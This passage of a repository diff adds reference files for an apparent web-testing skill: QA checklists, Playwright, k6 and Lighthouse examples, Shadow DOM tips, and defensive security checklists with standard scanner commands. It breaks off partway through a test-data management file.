||||
|
||||
- [ ] Calculations correct (totals, discounts, taxes)
|
||||
- [ ] Rules enforced (age verification, region restrictions)
|
||||
- [ ] Edge cases handled (zero, negative, max values)
|
||||
- [ ] Date/time operations account for timezones
|
||||
- [ ] Currency formatting correct
|
||||
- [ ] Quantity limits enforced
|
||||
|
||||
## Form Validation
|
||||
|
||||
- [ ] Required fields show error when empty
|
||||
- [ ] Email format validation works
|
||||
- [ ] Password strength requirements shown
|
||||
- [ ] Phone number format accepted
|
||||
- [ ] Date picker prevents invalid dates
|
||||
- [ ] File upload validates type/size
|
||||
- [ ] Form submits only when valid
|
||||
|
||||
## Integration Points
|
||||
|
||||
- [ ] API calls succeed with correct parameters
|
||||
- [ ] Database operations persist
|
||||
- [ ] Third-party integrations work (payment, auth)
|
||||
- [ ] Error responses handled gracefully
|
||||
- [ ] Loading states displayed during async ops
|
||||
- [ ] Timeout handling for slow responses
|
||||
- [ ] Retry logic works on failures
|
||||
|
||||
## Error Handling
|
||||
|
||||
- [ ] Network errors show retry option
|
||||
- [ ] Invalid input shows helpful message
|
||||
- [ ] 401 errors trigger re-authentication
|
||||
- [ ] 403 errors show access denied
|
||||
- [ ] 404 errors show not found page
|
||||
- [ ] 500 errors logged, user sees friendly message
|
||||
- [ ] Validation errors highlight specific fields
|
||||
|
||||
## State Management
|
||||
|
||||
- [ ] URL reflects application state
|
||||
- [ ] Browser back/forward works correctly
|
||||
- [ ] Bookmarking preserves state
|
||||
- [ ] Shared links open correct view
|
||||
- [ ] State persists through refresh (when appropriate)
|
||||
|
||||
## Test Priority Matrix
|
||||
|
||||
| Priority | Category | Examples |
|
||||
|----------|----------|----------|
|
||||
| P0 (Critical) | Core flows | Signup, login, checkout, payment |
|
||||
| P1 (High) | Major features | Search, CRUD, navigation |
|
||||
| P2 (Medium) | Secondary features | Filters, sorting, pagination |
|
||||
| P3 (Low) | Edge cases | Empty states, max limits |
|
||||
|
||||
## Test Data Checklist
|
||||
|
||||
- [ ] Happy path data
|
||||
- [ ] Empty/null values
|
||||
- [ ] Boundary values (min, max)
|
||||
- [ ] Invalid data types
|
||||
- [ ] Unicode/special characters
|
||||
- [ ] Long strings
|
||||
- [ ] Whitespace (leading, trailing)
|
||||
- [ ] Duplicate data scenarios
|
||||
@@ -0,0 +1,89 @@
|
||||
# Interactive Testing Patterns
|
||||
|
||||
## Form Testing
|
||||
|
||||
```javascript
|
||||
// Text input validation
|
||||
test('validates email format', async ({ page }) => {
|
||||
await page.fill('[name="email"]', 'invalid');
|
||||
await page.click('button[type="submit"]');
|
||||
await expect(page.locator('.error')).toContainText('Invalid email');
|
||||
});
|
||||
|
||||
// Select dropdowns
|
||||
await page.selectOption('select#country', 'US');
|
||||
await page.selectOption('select#country', { label: 'United States' });
|
||||
await page.selectOption('select#tags', ['tag1', 'tag2']); // Multi-select
|
||||
|
||||
// Checkboxes & radios
|
||||
await page.check('input[name="terms"]');
|
||||
await expect(page.locator('input[name="terms"]')).toBeChecked();
|
||||
await page.uncheck('input[name="newsletter"]');
|
||||
await page.check('input[value="premium"]'); // Radio
|
||||
|
||||
// File uploads
|
||||
await page.setInputFiles('input[type="file"]', 'path/to/file.pdf');
|
||||
await page.setInputFiles('input[type="file"]', ['file1.pdf', 'file2.pdf']);
|
||||
|
||||
// Date picker
|
||||
await page.fill('input[type="date"]', '2025-12-25');
|
||||
await page.click('.date-picker-trigger');
|
||||
await page.click('.calendar-day:text("25")');
|
||||
```
|
||||
|
||||
## Keyboard Navigation
|
||||
|
||||
```javascript
|
||||
test('keyboard accessibility', async ({ page }) => {
|
||||
await page.keyboard.press('Tab');
|
||||
await expect(page.locator(':focus')).toHaveAttribute('data-testid', 'first-btn');
|
||||
await page.keyboard.press('Enter'); // Activate
|
||||
await page.keyboard.press('Escape'); // Close modal
|
||||
await page.keyboard.press('Shift+Tab'); // Navigate backward
|
||||
});
|
||||
```
|
||||
|
||||
## Drag & Drop
|
||||
|
||||
```javascript
|
||||
await page.dragAndDrop('#source', '#target');
|
||||
|
||||
// Manual control
|
||||
const source = page.locator('#draggable');
|
||||
await source.hover();
|
||||
await page.mouse.down();
|
||||
await page.locator('#dropzone').hover();
|
||||
await page.mouse.up();
|
||||
```
|
||||
|
||||
## Hover & Modals
|
||||
|
||||
```javascript
|
||||
await button.hover();
|
||||
await expect(page.locator('.tooltip')).toBeVisible();
|
||||
|
||||
// Modal workflow
|
||||
await page.click('button:text("Open")');
|
||||
await expect(page.locator('[role="dialog"]')).toBeVisible();
|
||||
await page.click('[aria-label="Close"]');
|
||||
await expect(page.locator('[role="dialog"]')).not.toBeVisible();
|
||||
```
|
||||
|
||||
## Scroll & Wait Patterns
|
||||
|
||||
```javascript
|
||||
await page.locator('#footer').scrollIntoViewIfNeeded();
|
||||
await page.evaluate(() => window.scrollTo(0, document.body.scrollHeight));
|
||||
|
||||
// Wait patterns
|
||||
await page.waitForLoadState('networkidle');
|
||||
await Promise.all([page.waitForResponse('**/api/data'), page.click('button.load')]);
|
||||
```
|
||||
|
||||
## Disable Animations
|
||||
|
||||
```javascript
|
||||
await page.addStyleTag({
|
||||
content: '* { animation-duration: 0s !important; transition-duration: 0s !important; }'
|
||||
});
|
||||
```
|
||||
93
.opencode/skills/web-testing/references/load-testing-k6.md
Normal file
93
.opencode/skills/web-testing/references/load-testing-k6.md
Normal file
@@ -0,0 +1,93 @@
|
||||
# Load Testing with k6
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
brew install k6 # macOS
|
||||
winget install k6 # Windows
|
||||
docker run -i grafana/k6 run - <script.js
|
||||
```
|
||||
|
||||
## Basic Load Test
|
||||
|
||||
```javascript
|
||||
import http from 'k6/http';
|
||||
import { check, sleep } from 'k6';
|
||||
|
||||
export const options = {
|
||||
vus: 10,
|
||||
duration: '30s',
|
||||
};
|
||||
|
||||
export default function () {
|
||||
const res = http.get('http://localhost:3000/api/users');
|
||||
check(res, {
|
||||
'status is 200': (r) => r.status === 200,
|
||||
'response < 500ms': (r) => r.timings.duration < 500,
|
||||
});
|
||||
sleep(1);
|
||||
}
|
||||
```
|
||||
|
||||
## Stress Test with Stages
|
||||
|
||||
```javascript
|
||||
export const options = {
|
||||
stages: [
|
||||
{ duration: '2m', target: 50 },
|
||||
{ duration: '5m', target: 50 },
|
||||
{ duration: '2m', target: 100 },
|
||||
{ duration: '2m', target: 0 },
|
||||
],
|
||||
thresholds: {
|
||||
http_req_duration: ['p(95)<500'],
|
||||
http_req_failed: ['rate<0.01'],
|
||||
},
|
||||
};
|
||||
```
|
||||
|
||||
## With Authentication
|
||||
|
||||
```javascript
|
||||
export function setup() {
|
||||
const res = http.post(`${BASE_URL}/api/login`, {
|
||||
email: 'test@example.com', password: 'password',
|
||||
});
|
||||
return { token: res.json('token') };
|
||||
}
|
||||
|
||||
export default function (data) {
|
||||
const params = { headers: { Authorization: `Bearer ${data.token}` } };
|
||||
http.get(`${BASE_URL}/api/protected`, params);
|
||||
}
|
||||
```
|
||||
|
||||
## Performance Thresholds
|
||||
|
||||
| Metric | Good | Warning |
|
||||
|--------|------|---------|
|
||||
| p50 latency | <200ms | <500ms |
|
||||
| p95 latency | <500ms | <1s |
|
||||
| Error rate | <0.1% | <1% |
|
||||
|
||||
## Commands
|
||||
|
||||
```bash
|
||||
k6 run script.js
|
||||
k6 run --out json=results.json script.js
|
||||
k6 cloud script.js # Grafana Cloud
|
||||
```
|
||||
|
||||
## Artillery Alternative
|
||||
|
||||
```yaml
|
||||
config:
|
||||
target: 'http://localhost:3000'
|
||||
phases: [{ duration: 60, arrivalRate: 10 }]
|
||||
scenarios:
|
||||
- flow: [{ get: { url: '/api/users' } }]
|
||||
```
|
||||
|
||||
```bash
|
||||
npx artillery run artillery.yml
|
||||
```
|
||||
@@ -0,0 +1,85 @@
|
||||
# Mobile Gesture Testing
|
||||
|
||||
## Touch Gestures
|
||||
|
||||
### Single-Finger
|
||||
|
||||
```javascript
|
||||
await page.tap('button.submit'); // Tap
|
||||
await page.locator('button').click({ delay: 1000 }); // Long press
|
||||
|
||||
// Swipe simulation
|
||||
await page.evaluate(() => {
|
||||
const el = document.querySelector('.carousel');
|
||||
el.dispatchEvent(new TouchEvent('touchstart', { touches: [{ clientX: 200, clientY: 100 }] }));
|
||||
el.dispatchEvent(new TouchEvent('touchend', { touches: [{ clientX: 50, clientY: 100 }] }));
|
||||
});
|
||||
```
|
||||
|
||||
### Multi-Finger (Pinch/Zoom)
|
||||
|
||||
```javascript
|
||||
await page.evaluate(() => {
|
||||
const el = document.querySelector('[data-zoomable]');
|
||||
const touch1 = { identifier: 0, clientX: 100, clientY: 100 };
|
||||
const touch2 = { identifier: 1, clientX: 120, clientY: 100 };
|
||||
el.dispatchEvent(new TouchEvent('touchstart', { touches: [touch1, touch2] }));
|
||||
touch1.clientX = 50; touch2.clientX = 170; // Fingers apart = zoom in
|
||||
el.dispatchEvent(new TouchEvent('touchmove', { touches: [touch1, touch2] }));
|
||||
});
|
||||
```
|
||||
|
||||
## Orientation Testing
|
||||
|
||||
```javascript
|
||||
const orientations = [
|
||||
{ width: 390, height: 844 }, // Portrait
|
||||
{ width: 844, height: 390 }, // Landscape
|
||||
];
|
||||
|
||||
for (const size of orientations) {
|
||||
await page.setViewportSize(size);
|
||||
await expect(page).toHaveScreenshot(`mobile-${size.width}.png`);
|
||||
}
|
||||
```
|
||||
|
||||
## Device Emulation
|
||||
|
||||
```typescript
|
||||
// playwright.config.ts
|
||||
import { devices } from '@playwright/test';
|
||||
|
||||
export default defineConfig({
|
||||
projects: [
|
||||
{ name: 'mobile-chrome', use: { ...devices['Pixel 5'] } },
|
||||
{ name: 'mobile-safari', use: { ...devices['iPhone 12'] } },
|
||||
],
|
||||
});
|
||||
```
|
||||
|
||||
## Touch Target Checklist
|
||||
|
||||
- [ ] Minimum 44x44px touch targets
|
||||
- [ ] No overlapping touch areas
|
||||
- [ ] Sufficient spacing between buttons
|
||||
- [ ] Swipe gestures have clear affordances
|
||||
|
||||
## Real Device Gaps
|
||||
|
||||
Emulators miss: network throttling, touch latency, gesture recognition variations.
|
||||
|
||||
**Minimum real device testing:** iPhone (Safari iOS), Android flagship (Chrome)
|
||||
|
||||
## Device Farm Services
|
||||
|
||||
| Service | Devices |
|
||||
|---------|---------|
|
||||
| BrowserStack | 3000+ |
|
||||
| Sauce Labs | 2000+ |
|
||||
| AWS Device Farm | 200+ |
|
||||
|
||||
## Commands
|
||||
|
||||
```bash
|
||||
npx playwright test --project=mobile-chrome --project=mobile-safari
|
||||
```
|
||||
@@ -0,0 +1,124 @@
|
||||
# Performance & Core Web Vitals Testing
|
||||
|
||||
## Core Web Vitals (2024 Targets)
|
||||
|
||||
| Metric | Target | Description |
|
||||
|--------|--------|-------------|
|
||||
| LCP | < 2.5s | Largest Contentful Paint |
|
||||
| CLS | < 0.1 | Cumulative Layout Shift |
|
||||
| INP | < 200ms | Interaction to Next Paint (replaced FID) |
|
||||
|
||||
## Lighthouse CI Setup
|
||||
|
||||
```json
|
||||
// lighthouserc.json
|
||||
{
|
||||
"ci": {
|
||||
"collect": {
|
||||
"url": ["http://localhost:3000", "http://localhost:3000/dashboard"],
|
||||
"numberOfRuns": 3
|
||||
},
|
||||
"assert": {
|
||||
"preset": "lighthouse:recommended",
|
||||
"assertions": {
|
||||
"categories:performance": ["error", { "minScore": 0.9 }],
|
||||
"largest-contentful-paint": ["warn", { "maxNumericValue": 2500 }],
|
||||
"cumulative-layout-shift": ["error", { "maxNumericValue": 0.1 }],
|
||||
"interactive": ["warn", { "maxNumericValue": 3800 }]
|
||||
}
|
||||
},
|
||||
"upload": {
|
||||
"target": "temporary-public-storage"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## GitHub Actions Integration
|
||||
|
||||
```yaml
|
||||
performance:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- run: npm ci && npm run build
|
||||
- run: npm install -g @lhci/cli
|
||||
- run: lhci autorun
|
||||
env:
|
||||
LHCI_GITHUB_APP_TOKEN: ${{ secrets.LHCI_TOKEN }}
|
||||
```
|
||||
|
||||
## Playwright Performance Test
|
||||
|
||||
```typescript
|
||||
test('measure Core Web Vitals', async ({ page }) => {
|
||||
await page.goto('/');
|
||||
|
||||
const metrics = await page.evaluate(() => {
|
||||
return new Promise((resolve) => {
|
||||
new PerformanceObserver((list) => {
|
||||
const entries = list.getEntries();
|
||||
const lcp = entries.find(e => e.entryType === 'largest-contentful-paint');
|
||||
resolve({ lcp: lcp?.startTime });
|
||||
}).observe({ type: 'largest-contentful-paint', buffered: true });
|
||||
});
|
||||
});
|
||||
|
||||
expect(metrics.lcp).toBeLessThan(2500);
|
||||
});
|
||||
```
|
||||
|
||||
## INP Measurement
|
||||
|
||||
```typescript
|
||||
test('interaction responsiveness', async ({ page }) => {
|
||||
await page.goto('/');
|
||||
|
||||
const inp = await page.evaluate(() => {
|
||||
return new Promise((resolve) => {
|
||||
let maxINP = 0;
|
||||
new PerformanceObserver((list) => {
|
||||
for (const entry of list.getEntries()) {
|
||||
maxINP = Math.max(maxINP, entry.duration);
|
||||
}
|
||||
resolve(maxINP);
|
||||
}).observe({ type: 'event', buffered: true, durationThreshold: 16 });
|
||||
|
||||
// Trigger interactions
|
||||
document.querySelector('button')?.click();
|
||||
setTimeout(() => resolve(maxINP), 1000);
|
||||
});
|
||||
});
|
||||
|
||||
expect(inp).toBeLessThan(200);
|
||||
});
|
||||
```
|
||||
|
||||
## Quick Commands
|
||||
|
||||
```bash
|
||||
npx lighthouse https://example.com --output=json
|
||||
npx @lhci/cli autorun
|
||||
npx bundlesize # Bundle size check
|
||||
npx webpack-bundle-analyzer stats.json
|
||||
```
|
||||
|
||||
## Optimization Checklist
|
||||
|
||||
### LCP
|
||||
- [ ] Lazy load below-fold images
|
||||
- [ ] Preload critical resources (`<link rel="preload">`)
|
||||
- [ ] Use CDN for static assets
|
||||
- [ ] Optimize server response time
|
||||
|
||||
### CLS
|
||||
- [ ] Set explicit width/height on images
|
||||
- [ ] Reserve space for dynamic content
|
||||
- [ ] Use `font-display: swap` or `optional`
|
||||
- [ ] Avoid inserting content above existing
|
||||
|
||||
### INP
|
||||
- [ ] Break long JavaScript tasks (<50ms)
|
||||
- [ ] Use `requestIdleCallback` for non-critical work
|
||||
- [ ] Implement code splitting
|
||||
- [ ] Debounce rapid user interactions
|
||||
@@ -0,0 +1,115 @@
|
||||
# Playwright Component Testing
|
||||
|
||||
## Status
|
||||
|
||||
**Production-ready** as of 2024. No longer experimental.
|
||||
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
npm init playwright@latest -- --ct
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
```typescript
|
||||
// playwright-ct.config.ts
|
||||
import { defineConfig, devices } from '@playwright/experimental-ct-react';
|
||||
|
||||
export default defineConfig({
|
||||
testDir: './src',
|
||||
use: {
|
||||
ctPort: 3100,
|
||||
},
|
||||
projects: [
|
||||
{ name: 'chromium', use: { ...devices['Desktop Chrome'] } },
|
||||
{ name: 'firefox', use: { ...devices['Desktop Firefox'] } },
|
||||
{ name: 'webkit', use: { ...devices['Desktop Safari'] } },
|
||||
],
|
||||
});
|
||||
```
|
||||
|
||||
## Basic Test
|
||||
|
||||
```typescript
|
||||
import { test, expect } from '@playwright/experimental-ct-react';
|
||||
import { Button } from './Button';
|
||||
|
||||
test('renders button with text', async ({ mount }) => {
|
||||
const component = await mount(<Button>Click me</Button>);
|
||||
await expect(component).toContainText('Click me');
|
||||
});
|
||||
|
||||
test('handles click event', async ({ mount }) => {
|
||||
let clicked = false;
|
||||
const component = await mount(
|
||||
<Button onClick={() => clicked = true}>Click</Button>
|
||||
);
|
||||
await component.click();
|
||||
expect(clicked).toBe(true);
|
||||
});
|
||||
```
|
||||
|
||||
## With Props and State
|
||||
|
||||
```typescript
|
||||
test('counter increments', async ({ mount }) => {
|
||||
const component = await mount(<Counter initial={0} />);
|
||||
await expect(component.getByTestId('count')).toHaveText('0');
|
||||
await component.getByRole('button', { name: 'Increment' }).click();
|
||||
await expect(component.getByTestId('count')).toHaveText('1');
|
||||
});
|
||||
```
|
||||
|
||||
## Visual Regression
|
||||
|
||||
```typescript
|
||||
test('button styles', async ({ mount }) => {
|
||||
const component = await mount(<Button variant="primary">Submit</Button>);
|
||||
await expect(component).toHaveScreenshot('button-primary.png');
|
||||
});
|
||||
```
|
||||
|
||||
## Mocking
|
||||
|
||||
```typescript
|
||||
test('with mocked data', async ({ mount }) => {
|
||||
const component = await mount(
|
||||
<UserContext.Provider value={{ user: { name: 'Test' } }}>
|
||||
<Profile />
|
||||
</UserContext.Provider>
|
||||
);
|
||||
await expect(component).toContainText('Test');
|
||||
});
|
||||
```
|
||||
|
||||
## When to Use CT vs E2E
|
||||
|
||||
| Use CT When | Use E2E When |
|
||||
|-------------|--------------|
|
||||
| Testing isolated components | Testing user flows |
|
||||
| Visual regression on components | Navigation, routing |
|
||||
| Component interactions | Full page behavior |
|
||||
| Fast feedback during dev | Integration with backend |
|
||||
|
||||
## When to Use CT vs Vitest
|
||||
|
||||
| Use CT When | Use Vitest When |
|
||||
|-------------|-----------------|
|
||||
| Real browser needed | Speed is priority |
|
||||
| Cross-browser testing | Unit testing logic |
|
||||
| CSS/layout verification | Mocking is simpler |
|
||||
| Complex DOM interactions | jsdom is sufficient |
|
||||
|
||||
## Limitations
|
||||
|
||||
- Complex object passing requires serialization
|
||||
- Slower than jsdom-based tests
|
||||
- Watch mode less efficient than Vitest
|
||||
|
||||
## Commands
|
||||
|
||||
```bash
|
||||
npx playwright test -c playwright-ct.config.ts
|
||||
npx playwright test -c playwright-ct.config.ts --ui
|
||||
```
|
||||
@@ -0,0 +1,75 @@
|
||||
# Pre-Release Testing Checklist
|
||||
|
||||
## Cross-Browser & Responsive
|
||||
|
||||
- [ ] Chrome, Firefox, Safari, Edge latest
|
||||
- [ ] Mobile: iPhone real device (Safari iOS)
|
||||
- [ ] Mobile: Android real device (Chrome)
|
||||
- [ ] Breakpoints: 375px, 768px, 1024px, 1920px
|
||||
- [ ] Portrait & landscape orientations
|
||||
|
||||
## Functional Testing
|
||||
|
||||
- [ ] Primary user journeys complete
|
||||
- [ ] CRUD operations work
|
||||
- [ ] Login/logout/password reset
|
||||
- [ ] Form validation enforced
|
||||
- [ ] Search/filter/sort/pagination
|
||||
|
||||
## Interactive Elements
|
||||
|
||||
- [ ] Buttons, links respond correctly
|
||||
- [ ] Modals open/close properly
|
||||
- [ ] Dropdowns, tooltips work
|
||||
- [ ] Touch gestures work on mobile
|
||||
- [ ] Drag & drop (if applicable)
|
||||
|
||||
## Keyboard & Accessibility
|
||||
|
||||
- [ ] Tab navigation through all elements
|
||||
- [ ] Enter/Space activates buttons
|
||||
- [ ] Escape closes modals
|
||||
- [ ] Visible focus indicators
|
||||
- [ ] Screen reader announces content
|
||||
|
||||
## Performance (Core Web Vitals)
|
||||
|
||||
- [ ] LCP < 2.5 seconds
|
||||
- [ ] CLS < 0.1
|
||||
- [ ] INP < 200ms
|
||||
- [ ] Images optimized & lazy loaded
|
||||
|
||||
## Visual & Layout
|
||||
|
||||
- [ ] No horizontal scroll on mobile
|
||||
- [ ] Content reflows at breakpoints
|
||||
- [ ] Sufficient color contrast
|
||||
- [ ] Animations smooth
|
||||
|
||||
## Error Handling
|
||||
|
||||
- [ ] Network errors show retry option
|
||||
- [ ] 401/403/404/500 handled properly
|
||||
- [ ] Form errors highlight fields
|
||||
|
||||
## Security
|
||||
|
||||
- [ ] HTTPS enforced
|
||||
- [ ] Security headers present
|
||||
- [ ] CSRF tokens in forms
|
||||
|
||||
## Test Quality
|
||||
|
||||
- [ ] All tests pass (no flaky tests)
|
||||
- [ ] Coverage: Unit 70%, Integration 20%, E2E 10%
|
||||
- [ ] Accessibility audit passed
|
||||
|
||||
## Quick Commands
|
||||
|
||||
```bash
|
||||
npm run test # All tests
|
||||
npx playwright test --project=chromium,firefox # Cross-browser
|
||||
npx @axe-core/cli https://staging.example.com # Accessibility
|
||||
npx lighthouse https://staging.example.com # Performance
|
||||
curl -I https://staging.example.com | grep -i security # Headers
|
||||
```
|
||||
@@ -0,0 +1,81 @@
|
||||
# Security Checklists
|
||||
|
||||
## Authentication Security
|
||||
|
||||
- [ ] Strong auth mechanism (OAuth 2.0, JWT, OIDC)
|
||||
- [ ] No basic auth or custom schemes
|
||||
- [ ] Password policy enforced (12+ chars, complexity)
|
||||
- [ ] MFA/2FA for sensitive operations
|
||||
- [ ] Account lockout after failed attempts (5-10)
|
||||
- [ ] Secure password reset (token expiration)
|
||||
- [ ] Default credentials removed/disabled
|
||||
- [ ] API keys not in code/version control
|
||||
- [ ] Session tokens cryptographically generated
|
||||
- [ ] Logout invalidates session/token
|
||||
|
||||
## API Security
|
||||
|
||||
- [ ] HTTPS/TLS enforced for all endpoints
|
||||
- [ ] API versioning strategy in place
|
||||
- [ ] Rate limiting implemented
|
||||
- [ ] Auth required (API key or OAuth token)
|
||||
- [ ] Input validation on all parameters
|
||||
- [ ] Output encoding/sanitization
|
||||
- [ ] CORS headers properly configured
|
||||
- [ ] Pagination limits prevent enumeration
|
||||
- [ ] Proper HTTP status codes (401 vs 403)
|
||||
- [ ] Error messages don't expose internals
|
||||
|
||||
## Session Management
|
||||
|
||||
- [ ] Session IDs cryptographically random
|
||||
- [ ] Cookies: HttpOnly, Secure, SameSite flags
|
||||
- [ ] Session timeout (idle + absolute)
|
||||
- [ ] Session invalidation on logout
|
||||
- [ ] Session fixation protection (regenerate on login)
|
||||
- [ ] CSRF tokens for state-changing ops
|
||||
- [ ] Session data server-side (not in cookies)
|
||||
|
||||
## Input Validation
|
||||
|
||||
- [ ] Whitelist validation (allow only expected)
|
||||
- [ ] Type validation (string, number, date)
|
||||
- [ ] Length validation (min/max)
|
||||
- [ ] Format validation (regex for email, URL)
|
||||
- [ ] SQL parameters use prepared statements
|
||||
- [ ] NoSQL queries use safe APIs
|
||||
- [ ] Command execution avoided/validated
|
||||
- [ ] XML external entities disabled (XXE)
|
||||
- [ ] JSON parsing safe (no eval)
|
||||
- [ ] ReDoS-safe regex patterns
|
||||
|
||||
## Security Headers
|
||||
|
||||
```
|
||||
Content-Security-Policy: default-src 'self'; script-src 'self'
|
||||
X-Content-Type-Options: nosniff
|
||||
X-Frame-Options: DENY
|
||||
X-XSS-Protection: 1; mode=block
|
||||
Strict-Transport-Security: max-age=31536000; includeSubDomains
|
||||
Referrer-Policy: strict-origin-when-cross-origin
|
||||
Permissions-Policy: camera=(), microphone=(), geolocation=()
|
||||
```
|
||||
|
||||
- [ ] CSP configured (restrict resource loading)
|
||||
- [ ] X-Content-Type-Options: nosniff
|
||||
- [ ] X-Frame-Options (DENY or SAMEORIGIN)
|
||||
- [ ] HSTS enabled with appropriate max-age
|
||||
- [ ] Referrer-Policy configured
|
||||
- [ ] Permissions-Policy set
|
||||
- [ ] Server/X-Powered-By headers removed
|
||||
- [ ] CORS: No wildcard on credentialed endpoints
|
||||
|
||||
## Verify Headers
|
||||
|
||||
```bash
|
||||
# Check security headers
|
||||
curl -I https://example.com
|
||||
|
||||
# Use securityheaders.com
|
||||
# Use observatory.mozilla.org
|
||||
```
|
||||
@@ -0,0 +1,92 @@
|
||||
# Security Testing Overview
|
||||
|
||||
## OWASP Top 10 (2024)
|
||||
|
||||
| Rank | Vulnerability | Testing Method |
|
||||
|------|--------------|----------------|
|
||||
| A01 | Broken Access Control | Test unauthorized actions across roles |
|
||||
| A02 | Cryptographic Failures | Check HTTPS, encryption algorithms |
|
||||
| A03 | Injection (SQL/NoSQL/Cmd) | Test with payloads (see vulnerability-payloads.md) |
|
||||
| A04 | Insecure Design | Threat modeling, abuse case testing |
|
||||
| A05 | Security Misconfiguration | Default creds, open ports, headers |
|
||||
| A06 | Vulnerable Components | npm audit, Snyk scanning |
|
||||
| A07 | Auth Failures | Brute force, session hijacking |
|
||||
| A08 | Integrity Failures | Deserialization, CI/CD security |
|
||||
| A09 | Logging Failures | Verify security event logging |
|
||||
| A10 | SSRF | Test internal URL access |
|
||||
|
||||
## Security Testing Types
|
||||
|
||||
### SAST (Static Analysis)
|
||||
- **When**: Early development, pre-commit
|
||||
- **Tools**: SonarQube, CodeQL, Semgrep
|
||||
- **Focus**: Code flaws without execution
|
||||
- **Limitation**: High false positives
|
||||
|
||||
### DAST (Dynamic Analysis)
|
||||
- **When**: QA/staging, running application
|
||||
- **Tools**: OWASP ZAP, Burp Suite, Nuclei
|
||||
- **Focus**: Runtime vulnerabilities
|
||||
- **Limitation**: Requires running app
|
||||
|
||||
### SCA (Dependency Scanning)
|
||||
- **Tools**: npm audit, Snyk, Dependabot
|
||||
- **Focus**: Known CVEs in dependencies
|
||||
- **Automation**: CI/CD integration
|
||||
|
||||
### Secret Detection
|
||||
- **Tools**: detect-secrets, GitGuardian
|
||||
- **Focus**: API keys, passwords in code
|
||||
- **Implementation**: Pre-commit hooks
|
||||
|
||||
## Quick Security Scan
|
||||
|
||||
```bash
|
||||
# Dependency vulnerabilities
|
||||
npm audit
|
||||
npx snyk test
|
||||
|
||||
# OWASP ZAP baseline scan
|
||||
docker run -t ghcr.io/zaproxy/zaproxy:stable \
|
||||
zap-baseline.py -t https://example.com
|
||||
|
||||
# Nuclei template scan
|
||||
nuclei -u https://example.com -t cves/
|
||||
|
||||
# Check security headers
|
||||
curl -I https://example.com | grep -i "security\|content-security\|x-"
|
||||
```
|
||||
|
||||
## Penetration Testing Phases
|
||||
|
||||
1. **Reconnaissance**: DNS, WHOIS, tech fingerprinting
|
||||
2. **Scanning**: Port scan, service enumeration
|
||||
3. **Vulnerability Assessment**: Automated + manual testing
|
||||
4. **Exploitation**: Verify findings, demonstrate impact
|
||||
5. **Reporting**: CVSS scores, remediation guidance
|
||||
|
||||
## Tools Comparison
|
||||
|
||||
| Tool | Type | Cost | Best For |
|
||||
|------|------|------|----------|
|
||||
| OWASP ZAP | DAST | Free | CI/CD, learning |
|
||||
| Burp Suite | DAST | Paid | Enterprise, detailed |
|
||||
| Nuclei | DAST | Free | Custom checks |
|
||||
| npm audit | SCA | Free | Node.js deps |
|
||||
| Snyk | SCA | Free/Paid | Multi-language |
|
||||
|
||||
## CI/CD Integration
|
||||
|
||||
```yaml
|
||||
# Security scanning in pipeline
|
||||
- name: Dependency Scan
|
||||
run: npm audit --audit-level=high
|
||||
|
||||
- name: SAST Scan
|
||||
uses: github/codeql-action/analyze@v3
|
||||
|
||||
- name: DAST Scan
|
||||
run: |
|
||||
docker run -v $(pwd):/zap/wrk:rw ghcr.io/zaproxy/zaproxy:stable \
|
||||
zap-api-scan.py -t http://localhost:3000/openapi.json -f openapi
|
||||
```
|
||||
@@ -0,0 +1,70 @@
|
||||
# Shadow DOM & Web Components Testing
|
||||
|
||||
## Challenges
|
||||
|
||||
- CSS encapsulation breaks selectors
|
||||
- Elements hidden from DOM queries
|
||||
- XPath doesn't penetrate shadow boundaries
|
||||
|
||||
## Tool Support
|
||||
|
||||
| Tool | Support | Method |
|
||||
|------|---------|--------|
|
||||
| Playwright | Native | `>>` piercing selector |
|
||||
| Cypress | Good | `.shadow()` command |
|
||||
| Selenium | Limited | JS execution |
|
||||
| Axe | v5.7+ | API support |
|
||||
|
||||
## Playwright Shadow Piercing
|
||||
|
||||
```javascript
|
||||
const input = page.locator('my-component >> .internal-input');
|
||||
const button = page.locator('comp-a >> comp-b >> button');
|
||||
const el = page.locator('custom-element >> button:has-text("Click me")');
|
||||
```
|
||||
|
||||
## Cypress Shadow DOM
|
||||
|
||||
```javascript
|
||||
cy.get('my-component').shadow().find('.internal-button').click();
|
||||
|
||||
// Enable globally: { includeShadowDom: true }
|
||||
```
|
||||
|
||||
## Selenium Workaround
|
||||
|
||||
```javascript
|
||||
const shadowHost = driver.findElement(By.css('my-component'));
|
||||
const shadowRoot = driver.executeScript('return arguments[0].shadowRoot', shadowHost);
|
||||
const button = shadowRoot.findElement(By.css('button'));
|
||||
```
|
||||
|
||||
## Page Object Pattern
|
||||
|
||||
```typescript
|
||||
export class MyComponentPO {
|
||||
constructor(private page: Page) {}
|
||||
|
||||
async fillEmail(email: string) {
|
||||
await this.page.locator('my-form >> input[type="email"]').fill(email);
|
||||
}
|
||||
|
||||
async submit() {
|
||||
await this.page.locator('my-form >> button[type="submit"]').click();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Best Practices
|
||||
|
||||
1. Request `open` shadow roots when possible
|
||||
2. Encapsulate shadow traversal in page objects
|
||||
3. Avoid deep nesting (increases complexity)
|
||||
|
||||
## Debugging
|
||||
|
||||
```javascript
|
||||
const contents = await page.evaluate(() => {
|
||||
return document.querySelector('my-component').shadowRoot.innerHTML;
|
||||
});
|
||||
```
|
||||
131
.opencode/skills/web-testing/references/test-data-management.md
Normal file
131
.opencode/skills/web-testing/references/test-data-management.md
Normal file
@@ -0,0 +1,131 @@
|
||||
# Test Data Management
|
||||
|
||||
## Faker.js (Dynamic Data Generation)
|
||||
|
||||
```typescript
|
||||
import { faker } from '@faker-js/faker';
|
||||
|
||||
// Reproducible data (seeding)
|
||||
faker.seed(123);
|
||||
|
||||
const user = {
|
||||
id: faker.string.uuid(),
|
||||
name: faker.person.fullName(),
|
||||
email: faker.internet.email(),
|
||||
avatar: faker.image.avatar(),
|
||||
createdAt: faker.date.past(),
|
||||
};
|
||||
```
|
||||
|
||||
## Factory Pattern (Fishery)
|
||||
|
||||
```typescript
|
||||
import { Factory } from 'fishery';
|
||||
import { faker } from '@faker-js/faker';
|
||||
|
||||
// Define factory
|
||||
const userFactory = Factory.define<User>(() => ({
|
||||
id: faker.string.uuid(),
|
||||
